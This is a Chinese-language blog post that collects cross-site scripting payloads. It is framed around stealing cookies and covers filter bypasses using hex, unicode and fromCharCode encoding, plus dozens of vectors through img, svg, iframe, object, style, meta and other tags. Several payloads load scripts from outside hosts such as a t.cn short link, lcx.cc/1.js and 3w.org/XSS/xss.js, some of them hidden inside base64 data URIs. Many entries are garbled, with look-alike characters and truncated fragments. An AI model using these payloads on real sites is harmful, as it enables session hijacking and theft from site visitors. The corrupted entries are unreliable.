xss其他标签下的js用法总结大全

xss其他标签下的js用法总结大全

https://www.91ri.org/16155.html

前段时间我遇到一个问题,就是说普通的平台获取cookie的语句为

<script src=js地址></script>

实际上我们的测试语句可能为↓

<script>alert("90sec")</script>

也就是说js语句实际上是位于↓
<script></script>的中间。

包括<img>、<input>、<object>、<iframe>、<a></a>、<svg>、标签等情况下的xss构造。

所以我们就需要了解各种标签下的js用法,不然很多时候不可以使用<script>就很麻烦了。

【XSS基本探测pyload】

<script>alert(“xss”)</script>

<script>alert(/xss/)</script>//双引号换成斜杠

<script>alert(‘xss’)</script>//用单引号

<script>alert("xss");</script>//用分号

<script>alert('xss');</script>

<script>alert(/xss/);</script>

<script>alert("jdq") //自动补全

 

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分号

<script>alert("xss");;;;;;;;;;;;;;;;;    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//空格+分号

 

<script>alert("xss");;;;;;;;;;;;;;;;;       ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//换行符

 

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//回车

单引号被过滤

<script>alert(/jdq/)</script>  //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显

【javascript伪协议】回旋

<ahref="javascript:alert(/test/)">xss</a>

【javascript伪协议】回旋

<ahref="javascript:alert(/test/)">xss</a>

alert被过滤

<img src="1" οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

【img标记】

<img src=xοnerrοr=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>

on事件点击触发

οnclick="alert('xss') //注意要用单引号 双引号不会触发

on事件点击触发

οnclick="alert('xss') //注意要用单引号 双引号不会触发

【利用函数加密】

eval 函数配合编码

<script>eval(“js+16进制加密”)</script>

 

<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>

编码要执行的语句↓

Alert(“xss”)

【unicode加密】

<script>eval("unicode加密")</script>

//js unicode加密 解决alert()被过滤

<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>

格式↓

标记eval(“编码”) 结束标记

【String.fromCharCod函数】

String.fromCharCode需要配合eval来实现,

构造

<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

eval内容加引号相当于正常js语句来执行

不加引号,则是默认作为eval的其他参数语句来执

固定格式→<script>eval(String.fromCharCode编码内容))</script>

【String.fromCharCod函数】

String.fromCharCode需要配合eval来实现,

构造

<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

eval内容加引号相当于正常js语句来执行

不加引号,则是默认作为eval的其他参数语句来执

固定格式→<script>eval(String.fromCharCode编码内容))</script>

【各标签实战pyload
——————————————————-xss其他标签下的js用法总结大全––——————————–————————————

 

<imgsrc=javascript:document.write('<scr'+'ipt src=\'http://www.baidu.com/1.txt\'></scr'+'ipt>')></img>  //仅支持IE6

 

 

<imgsrc=javascript:window.s=document.createElement('script');window.s.src='http://lcx.cc/1.js';document.body.appendChild(window.s);></img>  //仅支持IE6

 

 

<imgsrc="pdpdp.gif"></img>  //通杀所有浏览器能触发xss

 

<img src="pdpdp.gif"></img>   //通杀所有浏览器 能触发xss

 

 

<img src=xοnerrοr=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

 

 

<input autofocus="bbbb" />

 

 

<objectdata="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>

 

<iframe width="0px"height="0px"src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></iframe>  ie不支持

 

<ahref="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5wb29qeC5jb20vMS5qcz48L3NjcmlwdD4=">sb</a>

 

<anchor>、<img>(不执行js)<a>(需点击) <meta>.....

 

<anchorοnlοad=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

 

<svgοnlοad=document.body.appendChild(document.CReateElement("scr"+"ipt")).src="http://www.baidu.com">

 

<svgοnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>

 

<baa id="1" tabindex=0>

 

 

 

 

(1)普通的XSS JavaScript注入

<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>

 

(2)IMG标签XSS使用JavaScript命令

<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>

 

(3)IMG标签无分号无引号

<IMG SRC=javascript:alert(‘XSS’)>

 

(4)IMG标签大小写不敏感

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

 

(5)HTML编码(必须有分号)

<IMG SRC=javascript:alert(“XSS”)>

 

(6)修正缺陷IMG标签

<IMG“”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

 

(7)formCharCode标签

<IMGSRC=javascript:alert(String.fromCharCode(88,83,83))>

 

(8)UTF-8的Unicode编码

<IMG SRC=jav..省略..S')>

 

(9)7位的UTF-8的Unicode编码是没有分号的

<IMG SRC=jav..省略..S')>

 

(10)十六进制编码也是没有分号

<IMG SRC=\'#\'" /span>

 

(11)嵌入式标签,将Javascript分开

<IMG SRC=\'#\'"ascript:alert(‘XSS’);”>

 

(12)嵌入式编码标签,将Javascript分开

<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

 

(13)嵌入式换行符

<IMG SRC=\'#\'"ascript:alert(‘XSS’);”>

 

(14)嵌入式回车

<IMG SRC=\'#\'"ascript:alert(‘XSS’);”>

 

(15)嵌入式多行注入JavaScript,这是XSS极端的例子

<IMG SRC=\'#\'" /span>

 

(16)解决限制字符(要求同页面)

<script>z=’document.’</script>

<script>z=z+’write(“‘</script>

<script>z=z+’<script’</script>

<script>z=z+’ src=ht’</script>

<script>z=z+’tp://ww’</script>

<script>z=z+’w.shell’</script>

<script>z=z+’.net/1.’</script>

<script>z=z+’js></sc’</script>

<script>z=z+’ript>”)’</script>

<script>eval_r(z)</script>

 

(17)空字符

perl -e ‘print “<IMGSRC=java\0script:alert(\”XSS\”)>”;’ > out

 

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用

perl -e ‘print“<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

 

(19)Spaces和meta前的IMG标签

<IMG SRC=\'#\'"
  javascript:alert(‘XSS’);”>

 

(20)Non-alpha-non-digit XSS

<SCRIPT/XSS SRC=\'#\'"/span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>

 

(21)Non-alpha-non-digit XSS to 2

<BODYonload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

 

(22)Non-alpha-non-digit XSS to 3

<SCRIPT/SRC=\'#\'"/span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>

 

(23)双开括号

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

 

(24)无结束脚本标记(仅火狐等浏览器)

<SCRIPTSRC=http://3w.org/XSS/xss.js?<B>

 

(25)无结束脚本标记2

<SCRIPT SRC=//3w.org/XSS/xss.js>

 

(26)半开的HTML/JavaScriptXSS

<IMG SRC=\'#\'" /span>

 

(27)双开角括号

<iframe src=http://3w.org/XSS.html <

 

(28)无单引号 双引号 分号

<SCRIPT>a=/XSS/

alert(a.source)</SCRIPT>

 

(29)换码过滤的JavaScript

\”;alert(‘XSS’);//

 

(30)结束Title标签

</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

 

(31)Input Image

<INPUT SRC=\'#\'" /span>

 

(32)BODY Image

<BODYBACKGROUND=”javascript:alert(‘XSS’)”>

 

(33)BODY标签

<BODY(‘XSS’)>

 

(34)IMG Dynsrc

<IMG DYNSRC=\'#\'" /span>

 

(35)IMG Lowsrc

<IMG LOWSRC=\'#\'" /span>

 

(36)BGSOUND

<BGSOUND SRC=\'#\'" /span>

 

(37)STYLE sheet

<LINK REL=”stylesheet”HREF=”javascript:alert(‘XSS’);”>

 

(38)远程样式表

<LINK REL=”stylesheet”HREF=”[url=http://3w.org/xss.css]http://3w.org/xss.css[/url]”>

 

(39)List-style-image(列表式)

<STYLE>li {list-style-image:url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

 

(40)IMG VBscript

<IMG SRC=\'#\'"/STYLE><UL><LI>XSS

 

(41)META链接url

<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=http://;URL=javascript:alert(‘XSS’);”>

 

(42)Iframe

<IFRAME SRC=\'#\'" /IFRAME>

 

(43)Frame

<FRAMESET><FRAME SRC=\'#\'"/FRAMESET>

 

(44)Table

<TABLEBACKGROUND=”javascript:alert(‘XSS’)”>

 

(45)TD

<TABLE><TDBACKGROUND=”javascript:alert(‘XSS’)”>

 

(46)DIV background-image

<DIV STYLE=”background-image:url(javascript:alert(‘XSS’))”>

 

(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)

<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

 

(48)DIV expression

<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

 

(49)STYLE属性分拆表达

<IMGSTYLE=”xss:expression_r(alert(‘XSS’))”>

 

(50)匿名STYLE(组成:开角号和一个字母开头)

<XSSSTYLE=”xss:expression_r(alert(‘XSS’))”>

 

(51)STYLE background-image

<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><ACLASS=XSS></A>

 

(52)IMG STYLE方式

exppression(alert(“XSS”))’>

 

(53)STYLE background

<STYLE><STYLEtype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

 

(54)BASE

<BASEHREF=”javascript:alert(‘XSS’);//”>

 

(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS

<EMBED SRC=\'#\'"/span>[flash]http://3w.org/XSS/xss.swf[/flash]” ></EMBED>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值